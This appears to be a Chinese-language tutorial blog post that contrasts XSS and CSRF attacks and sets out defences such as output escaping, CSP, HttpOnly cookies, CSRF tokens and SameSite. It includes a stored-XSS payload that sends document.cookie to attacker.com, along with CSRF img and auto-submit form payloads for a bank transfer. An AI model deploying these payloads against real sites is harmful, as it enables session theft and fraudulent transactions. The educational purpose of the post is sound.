XSS攻击和CSRF攻击的区别, 完整示例攻击和防御介绍

XSS(跨站脚本攻击,Cross-Site Scripting)和 CSRF(跨站请求伪造,Cross-Site Request Forgery)是两种常见的 Web 安全漏洞,它们的攻击原理、目标和防御方式有显著区别。下面将从定义、攻击流程、完整示例、危害、防御措施等方面进行详细对比说明。


一、XSS 攻击(Cross-Site Scripting)

1. 定义

XSS 是一种注入型攻击,攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当其他用户浏览该页面时,脚本会在其浏览器中执行,从而窃取 Cookie、会话令牌、重定向到钓鱼网站等。

2. 攻击类型

  • 反射型 XSS:恶意脚本来自当前 HTTP 请求(如 URL 参数),服务器直接将其嵌入响应。
  • 存储型 XSS:恶意脚本被永久存储在服务器(如评论区、用户资料),所有访问该内容的用户都会中招。
  • DOM 型 XSS:完全在客户端通过修改 DOM 触发,不涉及服务器响应。

3. 完整示例(存储型 XSS)

场景:

一个论坛允许用户发表评论,但未对输入做任何过滤。

攻击者操作:

在评论框中输入:

html 复制代码
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
后果:

所有查看该评论的用户,浏览器都会执行这段脚本,将其 Cookie 发送给攻击者服务器。

4. 危害

  • 窃取用户 Cookie / Session ID
  • 劫持用户账户
  • 执行任意前端操作(如转账、发消息)
  • 钓鱼、挂马等

5. 防御措施

  • 输入过滤与转义 :对用户输入进行 HTML 实体编码(如 <&lt;)。
  • 输出编码:根据上下文(HTML、JS、URL、CSS)使用不同编码方式。
  • 设置 HttpOnly Cookie:防止 JS 读取敏感 Cookie。
  • Content Security Policy (CSP):限制可加载的脚本来源。
  • 使用安全框架 :如 React/Vue 默认转义,避免直接使用 innerHTML

二、CSRF 攻击(Cross-Site Request Forgery)

1. 定义

CSRF 攻击利用用户已登录的身份,在用户不知情的情况下,诱使其浏览器向目标网站发送恶意请求(如转账、改密码)。关键在于:浏览器自动携带 Cookie

2. 攻击前提

  • 用户已登录目标网站(如银行网站),存在有效会话 Cookie。
  • 目标网站未验证请求来源(如缺少 CSRF Token)。
  • 用户访问了攻击者控制的页面(如恶意广告、钓鱼邮件)。

3. 完整示例(转账 CSRF)

场景:

银行网站有一个转账接口:

复制代码
POST /transfer
参数:to=张三&amount=1000

且仅依赖 Cookie 验证身份。

攻击者构造恶意页面(如 attacker.com):
html 复制代码
<img src="https://bank.com/transfer?to=攻击者&amount=5000" width="0" height="0" />

或使用自动提交表单:

html 复制代码
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="攻击者" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.forms[0].submit();</script>
用户行为:

用户在已登录银行网站的情况下,访问了 attacker.com 页面。

后果:

浏览器自动携带 bank.com 的 Cookie 发起转账请求,成功转出 5000 元。

4. 危害

  • 非授权操作(转账、删数据、改密码)
  • 利用用户权限执行高危操作
  • 通常结合 XSS 更危险(XSS 可绕过 CSRF 防御)

5. 防御措施

  • CSRF Token:每个表单/请求包含一次性随机 Token,服务端校验。

  • SameSite Cookie 属性

    http 复制代码
    Set-Cookie: sessionid=abc123; SameSite=Lax
    • Strict:完全禁止跨站携带 Cookie。
    • Lax:允许安全方法(GET)跨站,阻止 POST 等。
  • 验证 Referer / Origin 头:检查请求来源是否合法(但可能被伪造或缺失)。

  • 双重提交 Cookie 模式:Token 同时放在 Cookie 和请求参数中,服务端比对。


三、XSS 与 CSRF 对比总结

特性 XSS CSRF
攻击目标 用户(窃取信息、控制浏览器) 应用(以用户身份执行操作)
是否需要用户交互 通常需要(访问含恶意脚本页面) 通常需要(访问恶意页面)
是否依赖 Cookie 自动发送
能否读取响应内容 能(同源策略下) 不能(受 SOP 限制)
典型防御 输入/输出转义、CSP、HttpOnly CSRF Token、SameSite Cookie
能否互相利用 XSS 可绕过 CSRF 防御(如窃取 Token) CSRF 无法直接导致 XSS

四、综合防御建议

  1. 对所有用户输入进行严格验证与转义(防 XSS)。
  2. 关键操作使用 CSRF Token 并验证(防 CSRF)。
  3. 敏感 Cookie 设置 HttpOnly + Secure + SameSite=Lax/Strict
  4. 启用 CSP 策略,限制脚本来源。
  5. 定期安全审计与渗透测试

如有具体场景(如前后端分离架构、API 接口等),防御策略可能需调整(例如 API 使用 Bearer Token 可天然防 CSRF)。欢迎进一步提问!

相关推荐
能年玲奈喝榴莲牛奶6 小时前
安全服务-应急响应
web安全·网络安全·应急响应·安全服务
运筹vivo@14 小时前
攻防世界:get_post
web安全
23zhgjx-hyh14 小时前
【项目四:网络攻击分析】
网络·安全·web安全
NewCarRen14 小时前
汽车安全威胁分析与风险评估技术及缓解方法
网络·安全·web安全
计算机毕业设计指导14 小时前
恶意网址检测系统
python·web安全·网络安全·系统安全
独立开发者阿乐14 小时前
Vue3中Markdown解析与渲染的完整解决方案:从安全到性能优化
web安全·性能优化·vue3·前端开发·语法高亮·markdown解析·markdown-it
FreeBuf_1 天前
沙虫病毒与供应链安全:软件供应链成为网络安全的阿喀琉斯之踵
安全·web安全
上海云盾-高防顾问1 天前
防CC攻击不止限速:智能指纹识别如何精准抵御恶意爬虫
爬虫·安全·web安全
白山云北诗1 天前
中小企业如何做好企业官网的网络安全
网络·数据库·web安全·ddos·cc·企业网络安全